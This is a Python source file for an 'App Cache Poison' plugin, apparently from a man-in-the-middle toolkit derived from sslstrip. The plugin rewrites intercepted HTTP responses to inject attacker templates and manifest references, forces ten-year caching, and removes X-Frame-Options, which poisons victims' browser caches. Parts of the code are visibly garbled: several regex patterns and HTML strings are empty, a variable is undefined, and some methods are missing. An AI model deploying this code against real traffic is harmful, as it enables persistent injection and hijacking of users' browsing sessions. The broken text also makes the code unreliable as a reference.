# # 99.9999999% of this code was stolen from https://github.com/koto/sslstrip by Krzysztof Kotowicz ####################################################################################################### from plugins.plugin import Plugin from datetime import date from libs.sslstrip.URLMonitor import URLMonitor import logging import ConfigParser import re import os.path import time class AppCachePlugin(Plugin): name = "App Cache Poison" optname = "appoison" desc = "Performs App Cache Poisoning attacks" implements = ["handleResponse"] has_opts = False def initialize(self, options): '''Called if plugin is enabled, passed the options namespace''' self.options = options self.config_file = "./config/app_cache_poison.cfg" self.config = None self.mass_poisoned_browsers = [] self.urlMonitor = URLMonitor.getInstance() print "[*] App Cache Poison plugin online" self.createTamperer(self.config_file) def parseConfig(self, configFile): config = ConfigParser.ConfigParser() config.read(configFile) readConfig = config._sections readConfig.update(config.defaults()) return readConfig def createTamperer(self, configFile): logging.debug("Reading tamper config file: %s" % (configFile)) self.config = self.parseConfig(configFile) def handleResponse(self, request, data): url = request.client.uri req_headers = request.client.getAllHeaders() headers = request.client.responseHeaders ip = request.client.getClientIP() if "enable_only_in_useragents" in self.config: regexp = self.config["enable_only_in_useragents"] if regexp and not re.search(regexp,req_headers["user-agent"]): logging.debug("Tampering disabled in this useragent (%s)" % (req_headers["user-agent"])) return {'request': request, 'data': data} urls = self.urlMonitor.getRedirectionSet(url) (s,element,url) = self.getSectionForUrls(urls) if not s: data = self.tryMassPoison(url, data, headers, req_headers, ip) return {'request': request, 'data': data} logging.debug("Found URL %s in section %s" % (url, s['__name__'])) p = self.getTemplatePrefix(s) if element == 'tamper': logging.debug("Poisoning tamper URL with template %s" % (p)) if os.path.exists(p + '.replace'): # replace whole content f = open(p + '.replace','r') data = self.decorate(f.read(), s) f.close() elif os.path.exists(p + '.append'): # append file to body f = open(p + '.append','r') appendix = self.decorate(f.read(), s) f.close() # append to body data = re.sub(re.compile("",re.IGNORECASE),appendix + "", data) # add manifest reference data = re.sub(re.compile("",re.IGNORECASE),appendix + "", data) self.mass_poisoned_browsers.append(browser_id) # mark to avoid mass spoofing for this ip return data def getMassPoisonHtml(self): html = "
" for i in self.config: if isinstance(self.config[i], dict): if self.config[i].has_key('tamper_url') and not self.config[i].get('skip_in_mass_poison', False): html += "" return html + "
" def cacheForFuture(self, headers): ten_years = 315569260 headers.setRawHeaders("Cache-Control",["max-age="+str(ten_years)]) headers.setRawHeaders("Last-Modified",["Mon, 29 Jun 1998 02:28:12 GMT"]) # it was modifed long ago, so is most likely fresh in_ten_years = date.fromtimestamp(time.time() + ten_years) headers.setRawHeaders("Expires",[in_ten_years.strftime("%a, %d %b %Y %H:%M:%S GMT")]) def removeDangerousHeaders(self, headers): headers.removeHeader("X-Frame-Options") def getSpoofedManifest(self, url, section): p = self.getTemplatePrefix(section) if not os.path.exists(p+'.manifest'): p = self.getDefaultTemplatePrefix() f = open(p + '.manifest', 'r') manifest = f.read() f.close() return self.decorate(manifest, section) def decorate(self, content, section): for i in section: content = content.replace("%%"+i+"%%", section[i]) return content def getTemplatePrefix(self, section): if section.has_key('templates'): return self.config['templates_path'] + '/' + section['templates'] return self.getDefaultTemplatePrefix() def getDefaultTemplatePrefix(self): return self.config['templates_path'] + '/default' def getManifestUrl(self, section): return section.get("manifest_url",'/robots.txt') def getSectionForUrls(self, urls): for url in urls: for i in self.config: if isinstance(self.config[i], dict): #section section = self.config[i] if section.get('tamper_url',False) == url: return (section, 'tamper',url) if section.has_key('tamper_url_match') and re.search(section['tamper_url_match'], url): return (section, 'tamper',url) if section.get('manifest_url',False) == url: return (section, 'manifest',url) if section.get('raw_url',False) == url: return (section, 'raw',url) return (False,'',urls.copy().pop())